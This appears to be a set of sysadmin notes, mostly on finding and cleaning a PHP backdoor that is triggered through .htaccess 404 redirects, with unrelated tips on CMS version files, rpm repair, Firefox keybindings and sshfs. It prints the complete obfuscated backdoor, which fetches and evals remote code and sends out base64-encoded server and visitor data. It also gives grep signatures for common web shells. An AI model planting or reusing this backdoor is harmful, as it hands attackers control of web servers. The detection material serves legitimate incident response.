A common backdoor once a host is compromised is to create or append to existing .htaccess files a 404 redirect which will open a remote shell to a control server when the .php is hit, usually due to legitimate crawling.  Attackers will intentionally backlink to nonexistent url’s on the compromised host so that Google et al will do the job of opening a remote shell to their control node.  A symptom of this is a spike in load and the amount of connections in the WAITING state when being crawled.

The pair of .htaccess and .php is usually generated into every single folder with unique filenames.  The filename of the php shell is usually a 4-6 character number but will sometimes be a reused dictionary regex.  The .htaccess always contains string “ErrorDocument 404 //” with two forward slashes leading the filename.  The .htaccess is usually less than 200 bytes:

Options -MultiViews
ErrorDocument 404 //wp-content/upload/2008/11/12433.php

There is little variation in the php number shell; usually the payload and destination.  A common file size is 1474 bytes and a common string is ‘aHR0cDov’ which is the base-64 encoding of ‘http:/’.

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z=”/?”.base64_encode($a).”.”.base64_encode($b).”.”.base64_encode($c).”.”.base64_encode($d).”.”.base64_encode($e).”.”.base64_encode($f).”.”.base64_encode($g).”.”.base64_encode($h).”.e.”.base64_encode($i).”.”.base64_encode($j);$f=base64_decode(“cGhwc2VhcmNoLmNu”);if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])==”a23ab92502c0050082dd96a32c754520″) $f=$_REQUEST["id"];if((include(base64_decode(“aHR0cDovL2FkczIu”).$f.$z)));else if($c=file_get_contents(base64_decode(“aHR0cDovLzcu”).$f.$z))eval($c);else{$cu=curl_init(base64_decode(“aHR0cDovLzcxLg==”).$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

Dolphin         ver in inc/header.inc.php
Drupal          version in modules/drupal/drupal.info
gallery2        setGalleryVersion in modules/core/module.inc
Joomla          RELEASE  in libraries/joomla/version.php
Movable Type    version in mt-check.cgi
osCommerce      PROJECT_VERSION in includes/application_top.php
phpBB           PHPBB_VERSION in includes/constants.php
phpnuke         mysql> SELECT Version_Num FROM nuke_config;
phpwcms         version in include/inc_lib/default.inc.php
smf             index.php
tikiwiki        ./tiki-admin_security.php:              7=>’1.9.5′
VtigerCRM       vtiger_current_version in vtigerversion.php
Wordpress       wp-version in wp-includes/version.php
xcart           /VERSION
Zen Cart        ./includes/version.php

Even though the developers tried to resolve the known issues with pata controller vt6415, I still had Ubuntu 11.04 2.6.38-8 x64 panic on enumerating IDE devices.  The solution was boot parameter libata.dma=1.

If you have already removed /var/lib/rpm/__db* and rpm –vv –rebuilddb (or strace) shows it is stuck on /var/lib/rpm/Packages but you are not able to salvage Packages due to db_dump and db_load being unavailable you can move Packages out of the way, –rebuilddb, restore the old Packages, and –rebuilddb again. rpm should then function correctly.

To locate a suspicious process’s (httpd, sendmail, perl) current working directory look in /proc/$PID/cwd

If httpd fullstatus isn’t available, you can use this to enumerate the current working directories of httpd processes:

for i in `ps -elf | grep http | awk '{print $4}' | sort | uniq`; do ls -la /proc/$i/cwd ; done | awk '{print $11}'| grep -Ev ^$ | sort | uniq -c | sort -n

If you do not have mytop, mysqladmin, or access to the mysql console, you can use this to enumerate the file descriptors of the mysqld process:

ls -al /proc/`pidof mysqld`/fd/ | awk -F\> '{print $2}' | awk -F/ '{print $5}' | sort | uniq -c | sort -n

If you do not catch them quickly enough after spawning, malicious processes can reparent themselves under init so their cwd is reset. You can look in /tmp, /var/tmp, and /dev/shm for any clues, as well as reference the /proc/$PID timestamps in logs. You can always strace the suspicious process and see what files it has open with lsof and netstat.

To identify malicious files in a suspicious directory:

1. Scan their directory using maldet, which should finds most newer PHP and Perl shells. It likely won’t find older or custom payloads.

2. Scan their directory with clamav if there is time to spare. For our purpose there is fingerprint overlap with maldet but clamav has a larger database and may catch something.

3. Use the following for an audit against common shells and malicious files:

If they have gigs of files they may be a file dump. If they have only a few kilobytes it may be a new fraudulent account.

du -sh

Custom 404 redirects are not very common and are usually only found in the webroot’s .htaccess. A common attack is creating .htaccess files which 404 redirect to malicious files (usually a PHP shell with all-numeric filename) which connect to a remote server and open a shell.

find . -name .htaccess -print0 | xargs -0 fgrep ErrorDocument\ 404

These are search strings for common PHP shells. Note that intruders may use incorrect extensions to confuse you and prepend image file headers so that the malicious file is recognized as an image by file.

find . -iname \*php -print0 | xargs -0 grep -E 'c99_|c99shell|999sh|fx29_|fx29shell|r57_|r57shell|aHR0cDov'

Base64-encoded content should be scrutinized as a potential payload. Intruders will copy system file headers/templates from your software’s (eg: WordPress) installation and encode (gzinflate, base64, rot13) them to confuse you on whether they’re malicious code or legitimate footers which sometimes contain images.

find . -iname \*php -print0 | xargs -0 fgrep base64_

Files with 777 permissions are a security concern and should be investigated.

find . -perm 777 -type f

find . -perm 777 -type d

Files which are 000′d may have been disabled by the user or an administrator due to suspicious behavior.

find . -perm 000

Files owned by root hopefully are from an administrator forgetting to assign them proper ownership and not a privilege escalation.

find . -user root

Files owned by the http server may indicate access was gained through the customer’s software.

find . -user nobody -o -user apache

Files modified recently are of primary concern. For a thorough check run a second pass for ctime, as intruders are able to set their mtimes to past datetimes.

find . -mtime -1

find . -mtime +1 -mtime -10

find . -ctime -1

find . -ctime +1 -ctime -10

You can supplement your investigation by parsing the access-log of the suspected target for suspicious POST’s:

Referrers: cut -d " " -f11 access_log | sort | uniq -c | sort -n

Visitors: cut -d " " -f1 access_log | sort | uniq -c | sort -n

POSTs: fgrep POST access_log | fgrep -v " 404 " | cut -d " " -f7 | sort | uniq -c | sort -n

The error_log will have stderr output for injections and subsequent attempts to retrieve payloads from other servers, often using wget or curl.

grep -E 'wget|curl' error_log

Once you have filenames and their checksums and IP addresses, you can search other servers and their logs.


F1,Close Tab,BrowserCloseTabOrWindow();
user_pref("keyconfig.main.xxx_key1_Close Tab", "][][VK_F1][BrowserCloseTabOrWindow();][chrome://browser/content/browser.xul");
F2,Find,gFindBar.onFindCommand();
user_pref("keyconfig.main.xxx_key1_Find", "][][VK_F2][gFindBar.onFindCommand();][chrome://browser/content/browser.xul");
F3,Previous Tab,gBrowser.mTabContainer.advanceSelectedTab(-1,true);
user_pref("keyconfig.main.xxx_key1_Previous Tab", "][][VK_F3][gBrowser.mTabContainer.advanceSelectedTab(-1,true);][chrome://browser/content/browser.xul");
F4,Next Tab,gBrowser.mTabContainer.advanceSelectedTab(1,true);
user_pref("keyconfig.main.xxx_key1_Next Tab", "][][VK_F4][gBrowser.mTabContainer.advanceSelectedTab(1,true);][chrome://browser/content/browser.xul");
F5,Reload (override cache),BrowserReloadSkipCache();
user_pref("keyconfig.main.xxx_key1_Reload (override cache)", "][][VK_F5][BrowserReloadSkipCache();][chrome://browser/content/browser.xul");
F6,Select Address Bar,openLocation();
user_pref("keyconfig.main.xxx_key1_Select Address Bar", "][][VK_F6][openLocation();][chrome://browser/content/browser.xul");
F7,Undo Close Tab,undoCloseTab();
user_pref("keyconfig.main.xxx_key1_Undo Close Tab", "][][VK_F7][undoCloseTab();][chrome://browser/content/browser.xul");
F8,New Tab,BrowserOpenTab();
user_pref("keyconfig.main.xxx_key1_New Tab", "][][VK_F8][BrowserOpenTab();][chrome://browser/content/browser.xul");
F9,Back,BrowserBack();
user_pref("keyconfig.main.xxx_key1_Back", "][][VK_F9][BrowserBack();][chrome://browser/content/browser.xul");
F10,Forward,BrowserForward();
user_pref("keyconfig.main.xxx_key1_Forward", "][][VK_F10][BrowserForward();][chrome://browser/content/browser.xul");
F11,Full Screen,BrowserFullScreen();


disable in about:config
accessibility.browsewithcaret
accessibility.browsewithcaret_shortcut.enabled

1.  Make sure gcc and g++ versions match

2.  Use vmware-any-any-update117-itpsycho.tar.bz2 if any-any-updated117d doesn’t work.

3.  iocontrol.h s/168/138/ if needed

Got an ssh account on a machine? Don’t waste time retrieving a file, editing it, and uploading it manually.

sshfs user@target:/directory /mnt/point

You can then edit the file locally and, when saved, will do so across the ssh pipe.